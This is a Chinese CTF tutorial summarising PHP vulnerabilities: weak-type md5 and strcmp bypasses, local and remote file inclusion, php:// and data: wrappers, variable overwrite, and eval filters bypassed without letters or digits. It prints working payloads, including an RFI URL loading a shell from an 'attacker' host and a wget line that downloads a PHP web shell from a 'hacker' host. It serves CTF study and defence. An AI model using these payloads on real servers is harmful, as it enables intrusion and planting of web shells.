CTF中常見的PHP漏洞小結

2021-03-02 邑安全

在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。

md5()漏洞

  PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。
常見的payload有

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

  同時MD5不能處理數組,若有以下判斷則可用數組繞過

if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2

判斷代碼:

if($v1 != $v2 && md5($v1) == md5($v2))//D0g3某道題

strcmp()漏洞

int strcmp(string $str1, string $str2)

  參數 str1第一個字符串。str2第二個字符串。如果 str1 小於 str2 返回 < 0;如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。
當這個函數接受到了不符合的類型,這個函數將發生錯誤,但是在5.3之前的php中,顯示了報錯的警告信息後,將return 0 !!!! 也就是雖然報了錯,但卻判定其相等了。這對於使用這個函數來做選擇語句中的判斷的代碼來說簡直是一個致命的漏洞,當然,php官方在後面的版本中修復了這個漏洞,使得報錯的時候函數不返回任何值。

<?php
$password=$_GET['password'];
if (strcmp('*****',$password)) {
echo 'NO!';
} else{
echo 'YES!';
}
?>

  對於這段代碼,我們能用什麼辦法繞過驗證呢, 只要我們\$_POST[『password』]是一個數組或者一個object即可,但是上一個問題的時候說到過,只能上傳字符串類型,那我們又該如何做呢。
其實php為了可以上傳一個數組,會把結尾帶一對中括號的變量,例如 xxx[]的name(就是$_POST中的key),當作一個名字為xxx的數組構造類似如下的request

POST /login HTTP/1.1
Host: xxx.com
Content-Length: 41
Accept: application/json, text/javascript
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close

password[]=admin

文件包含漏洞

include()
require()
include_once()
require_once()

這四個函數會將包含的文件作為php文件解析

_once表示同名文件只引入一次,include在引入不存文件時產生一個警告且腳本還會繼續執行,require則會導致一個致命性錯誤且腳本停止執行。
include()是有條件包含函數,而 require()則是無條件包含函數
include有返回值,而require沒有
理論上來說:include和require後面加不加括號對執行結果沒有區別,但是加上括號效率較低,所以後面能不加括號就不加括號。

可利用的文件包含漏洞條件:
1.include()等函數通過動態變量方式引入需要包含的文件
2.用戶可控制該動態變量

本地文件包含(LFI)

<?php
$file = $_GET['file'];
include $file;
?>

若在同目錄下有phpinfo.txt<? phpinfo; ?> 則訪問:

index.php?file=phpinfo.txt

即可解析文件內容
PHP內核是由C語言實現的,在連接字符串時,0位元組(\x00)將作為字符串結束符。所以可用%00截斷

遠程文件包含(RFI)

allow_url_fopen = On

allow_url_include = On 默認為off
需要php.ini中兩個配置均為ON

<?php
if($route == "share"){
require_once $basePath . '/action/m_share.php';
}elseif($route == "sharelink"){
require_once $basePath . '/action/m_sharelink.php';
}
?>

構造url
/?param=http://attacker/phpshell.txt?
可將遠程的shell解析執行,最後一個問號可以起到截斷的作用。

利用技巧利用用戶上傳文件

如果有上傳點或者允許用戶上傳文件可以利用,不過比較難找到文件目錄。

php偽協議php://input

allow_url_include = on
payload:

1 index.php?file=php://input
2 POST:
3 <? phpinfo(); ?>

php://filter

可以讀取本地文件
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
指定末尾文件,可以讀到base64編碼後的文件內容,ctf中常有題目可讀文件源碼。

php://phar

PHP歸檔,解壓縮協議
上傳包含任何格式文件shell的壓縮包,再用phar協議解析

index.php?file=phar://shell.zip/phpinfo.txt

index.php?file=phar://D:/index/www/fileinclude/shell.zip/phpinfo.txt

data:

條件:

allow_url_fopen = On

allow_url_include = On

index.php?file=data:text/plain,<?php phpinfo(); ?>%00
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

包含日誌文件

先通過讀取httpd的配置文件httpd.conf,找日誌文件所在目錄
常見日誌文件位置:
../etc/httpd/conf/httpd.conf

/usr/local/apache/conf/http.conf

../apache/logs/error.log

Metasploit有腳本完成自動化攻擊

包含Session

要求攻擊者能控制部分Session的內容
常見的php-session存放位置:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

包含/proc/self/environ 文件

index.php?page=../../../../../proc/self/environ
可以看到Web進程運行時的環境變量,其中用戶可以控制部分,比如對User-Agent注入

<?php
system('wget http://hacker/Shells/phpshell.txt -O shell.php');
?>

包含上傳的臨時文件包含其他應用創建的文件

如資料庫文件,緩存文件

繞過姿勢

%00截斷
magic_quotes_gpc = off
PHP < 5.3.4

字節長度截斷:最大值Windows下256位元組,Linux下4096位元組

%00截斷目錄遍歷
/var/www/%00
magic_quotes_gpc = off

編碼繞過
%2e%2e%2f ../
..%c0%af ../
%2e%2e%5c ..\
### 防禦方案

在很多場景中都需要去包含web目錄之外的文件,如果php配置了open_basedir,則會包含失敗

做好文件的權限管理

對危險字符進行過濾等

變量覆蓋漏洞全局變量覆蓋

條件:register_globals = ON 4.2.0後默認關閉 5.4.0後已移除
例如bugku某題

<?php

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

payload:http://120.24.86.145:8004/index1.php?args=GLOBALS
因為有eval("var_dump($$args);"); 直接用全局變量列印所有字符串即可得到flag

strpos()的小坑函數介紹實例

查找"touch"在字符串中第一次出現的位置:

<?php
echo strpos("love is a touch and yet not a touch", "touch")
?>

定義和用法

strpos() 函數查找字符串在另一字符串中第一次出現的位置。
strpos() 函數對大小寫敏感。
該函數是二進位安全的。
strpos(string, find, start) string 和 find 必需,start 可選,規定在何處開始搜索。

相關函數

stripos() - 查找字符串在另一字符串中第一次出現的位置(不區分大小寫)

strripos() - 查找字符串在另一字符串中最後一次出現的位置(不區分大小寫)

strrpos() - 查找字符串在另一字符串中最後一次出現的位置(區分大小寫)

判斷的時候是不能用 != false來判斷的,因為當查找的字符串位置為0 時也會判斷成功

<?php
$a = "stark";
$b = "s";
$c = "k";

var_dump(strpos($a, $b));
var_dump(strpos($a, $c));
var_dump(strpos($a, $b) != false);
var_dump(strpos($a, $b) !== false);
?>

返回結果:

PHP的一個小特性

烏雲連結:https://wooyun.shuimugan.com/bug/view?bug_no=64792
當代碼中存在\$_REQUEST['user_id']裡面類似的參數的時候,我們在url上可以這樣a.php?user.id傳參去進行繞過,這樣進去之後也能表示$_REQUEST['user_id']的值,同樣可以繞過的符號還有+,[ 等,應該說是php的一個小特性

安恆月賽 奇怪的恐龍特性

題目源碼:

<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');

}
?>

閱讀代碼發現,首先第一步要繞過A_A這個符號,如果出現這個符號他就會顯示A_A,have fun,就不能繼續往下面執行到file_get_contents('flag.php')了,但是我們發送get參數的時候又必須要發送,因此我們就用到剛才的知識點,我們可以用A.A或者是A+A去傳參去繞過。
下面的代碼就是常規的數字繞過了,但這裡也用到了一個trick,就是無論你的數字多大,對於數組而言總是比數組小。

利用數組去繞過$str<9999999999的特性,下面一個判斷是強制轉化為字符串在與數字比較的判斷,這就是平常操作很多的弱類型了,直接讓參數等於admin就可以了,因為「admin」== 0 ,結果是true,直接等於0繞過即可,所以這題的payload
http://101.71.29.5:10007/?A+A[]=admin

極限利用

安恆九月賽 babybypass

<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

根據代碼要求:

1. 長度不能大於35
2. 不能包含大小寫字母,數字,下劃線和$符號

在linux系統中,是支持正則的,某些你忘記某個字符情況下,你可以使用? * %等字符來替代,當然這裡想要執行命令,需要極限的利用這個方法,經過測試:
???/??? => /bin/cat
PHP開啟短標籤即short_open_tag=on時,可以使用<?=$_?>輸出變量
於是讀源碼:

$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

長度超出上限,使用通配:
$_=/???/???%20/???/???/????/;?><?=$_?>
正則過濾了$和_,改進為:
?><?=`/???/???%20/???/???/????/*`?>
可以讀到:

function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}

直接讀flag文件
?><?='/???/???%20/????';?>

另外類似的一道題

道格bypass

<?php
include("flag.php");
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";

相關文章:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

$¥="`{{{"^"?<>/" // _GET

利用${}中的代碼會被執行的特點

${$¥}[¥](${$¥}[¥¥]);

傳參
&¥=Flag
最終payload:

?code=$¥="`{{{"^"?<>/";${$¥}[¥](${$¥}[¥¥]);&¥=Flag

is_numeric繞過

極客大挑戰

題目源碼:

<?php
if (isset($_GET['p1'])){

if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
echo "111";

if (isset ( $_GET ['p2'] )) {
$p2 = $_GET ['p2'];
if (is_numeric($p2)){
die('Input cannot be a number!!!');
}
else{
switch ($p2) {
case 0 :
break;
case 1 :
break;
case 2 :
echo "flag{xxxxx}";
break;
default :
echo "2333333";
break;
}
}
}
}
}
?>

第一個常見的>999999999,用指數1e9即可繞過

echo 1e9; //1000000000

第二個函數is_numeric()判斷是否為數字,因為PHP的弱類型,將數字後面加上空格或者任意一個字符即可繞過。

<?php
$a = '1';
$b = '1a';
$c = '1 ';

var_dump(is_numeric($a));//true
var_dump(is_numeric($b));//false
var_dump(is_numeric($c));//false
?>

最終payload:
?p1=1e9&p2=2%20

原文來自: 先知社區

原文連結: https://xz.aliyun.com/t/3085

歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!

相關焦點

  • PHP一些常見的漏洞梳理
    以下主要是近期對php一些常見漏洞的梳理,包含php文件包含、php反序列化漏洞以及php偽協議。
  • PHP網站常見安全漏洞及防禦方法
    網站漏洞一:常見PHP網站漏洞安全。腳本執行漏洞在以前的PHP網站中經常存在,但是隨著PHP版本的升級,這些間題已經減少或者不存在了。假如在lsm.php中包含這樣一段代碼:include($b.」/aaa.php」.),這對黑客來說,可以通過變量$b來實現遠程攻擊,可以是黑客自已的代碼,用來實現對網站的攻擊。可以向伺服器提交a.php include=http://127.0.0. 1/b.php,然後執行b.php的指令。
  • CTF入門指南 | 內附教程分享
    capture the flag 奪旗比賽類型:Web密碼學Pwn 程序的邏輯分析,漏洞利用windows、linux、小型機等Misc 雜項,隱寫,數據還原,腦洞、社會工程、與信息安全相關的大數據reverse 逆向Windows、Linux
  • CTF從入門到提升(三)
    3.從基礎題出發 一般都是100,200,最高分在500,600 先把100分的學好,可從實踐,高中的ctf學起,比較簡單,只涉及1,2個點PWN、Reverse偏重對彙編、逆向的理解 對底層理解;Crypto偏重對數學、算法的深入學習 密碼課要深入學;Web偏重對技巧沉澱、快速搜索能力的挑戰 發散思維,對底層只需要了解,代碼原理,關於漏洞點的積累
  • 【代碼審計】PHP代碼審計之CTF系列(3)
    payload:http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?file%3Dhttp%3A%2F%2F127.0.0.1%2F%26path%3D%253C%253Fphp%2520eval(%2524_POST%255B'x'%255D)%253B%253F%253E&path=a.php寫入一句話,直接菜刀列舉網站目錄即可。
  • CTF系列 1 密碼題解密網站總結(必收藏乾貨)
    ,都能看到密碼學的影子,所以掌握必要的密碼學知識尤為重要,上文我整理分享了一些常見的加密方式,但略去了很多變種的加密方式,此間便做一個補充,也是方便在線解題,儘可能省去臨時查找在線解密網站的時間。0x01 切入正題0.綜合性網站網站中包含大多編碼的解碼。
  • CTF中的PHP安全特性總結
    echo 'nonononono';  3.2 正則表達式常見修飾符的含義(1)i:不區分(ignore)大小寫;(2)g:全局(global)全局匹配;(3)m:多行(more)匹配,若存在換行\n並且有開始^或結束^符的情況下,將以換行為分隔符,逐行進行匹配;(4)s:默認情況下的圓點.是 匹配除換行符\n之外的任何字符
  • PHP反序列化漏洞簡介及相關技巧小結
    要學習PHP反序列漏洞,先了解下PHP序列化和反序列化是什麼東西。
  • 全網最詳細的常見PHP漏洞全方面解析
    magic quotes 為 On,它會影響 HTTP 請求的數據(GET、POST、Cookies)程式設計師也可以使用 addslashes 來轉義提交的 HTTP 請求數據,或者用 stripslashes 來刪除轉義PHP 漏洞全解(二)-命令注入攻擊命令注入攻擊PHP 中可以使用下列 5 個函數來執行外部的應用程式或函數
  • PHP函數漏洞審計之addslashes函數-實例分析蘋果CMS
    $lp['wd']變量位置存在字符串拼接,存在SQL注入。2.但是這個CMS具有一些通用的注入防護,首先在\inc\module\vod.php文件中:跟進\inc\module\vod.php文件中的chkSql函數,具體位置在\inc\common\360_safe3.php文件中:
  • php中函數禁用繞過的原理與利用
    從phpinfo中獲取可用信息信息收集是不可缺少的一環;通常的,我們在通過前期各種工作成功執行代碼 or 發現了一個phpinfo頁面之後,會從該頁面中搜集一些可用信息以便後續漏洞的尋找。關於更加詳細的漏洞分析請看p神的文章:CVE-2016-3714 - ImageMagick 命令執行分析,我直接摘取原文中比較具有概括性的漏洞說明:漏洞報告中給出的POC是利用了如下的這個委託:<delegate decode="https" command="&quot
  • PHP反序列化漏洞說明
    在PHP應用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。從以上慄子來看似乎沒有問題,那麼反序列化漏洞是如何形成的呢?這就要引入PHP裡面魔術方法的概念了。因此最理想的情況就是一些漏洞/危害代碼在 __wakeup() 或 __destruct()中,從而當我們控制序列化字符串時可以去直接觸發它們 .如下實驗:<?
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    可以通過phpinfo查看session.save_path的值知道session的存儲後,總結常見的php-session默認存放位置是很有必要的,因為在很多時候伺服器都是按照默認設置來運行的,這個時候假如我們發現了一個沒有安全措施的session包含漏洞就可以嘗試利用默認的會話存放路徑去包含利用。
  • CTF小白入門學習指南
    其中,題目大概有這麼幾個 web,密碼學,pwn(綜合滲透),misc(雜項),reverse(逆向),ppc(編程類)而攻防模式的比賽一般就是每一個參賽隊伍,在同一個網絡中,進行相互攻擊和防守,以發現對手伺服器的漏洞,修補和防禦己方伺服器漏洞來得分,一般比賽時間較長,而混合模式就是兩者皆有。那應該如何開始你的CTF得旅程呢?
  • PHP 文件包含漏洞姿勢總結
    php 中引發文件包含漏洞的通常是以下四個函數:1、include() 當使用該函數包含文件時,只有代碼執行到 include() 函數時才將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行。2、include_once() 功能和 include() 相同,區別在於當重複調用同一文件時,程序只調用一次。
  • CTF工具+資源 | 插個眼
    網絡安全諮詢日常生活中的網絡安全案例解析
  • PHP文件包含漏洞利用思路與Bypass總結手冊(三)
    < 5.2.8LFI-零字節截斷利用條件:利用姿勢:php version 5.3.4時已修復 零字節截斷漏洞; http://php.net/allow-url-includeallow_url_include=Off從配置中可以看到 allow_url_fopen和allow_url_include主要是針對兩種協議起作用:http://、 ftp://。
  • 深入解析sprintf格式化字符串漏洞
    (&result, &outpos, '%');break;default:break;}可以看到, php源碼中只對15種類型做了匹配, 其他字符類型都直接break了,php未做任何處理
  • CTF題記——計劃第一周
    m0re不急著查列,先看看ctf表中是什麼,username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#
  • web安全篇(一):PHP文件包含漏洞姿勢總結
    Q:文件包含漏洞的成因是什麼?A:在包含文件的時候,為了靈活包含文件,將包含文件設置為變量,通過動態變量來引入需要包含的文件時,用戶可以對變量的值可控而伺服器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞,通常文件包含漏洞出現在PHP語言中。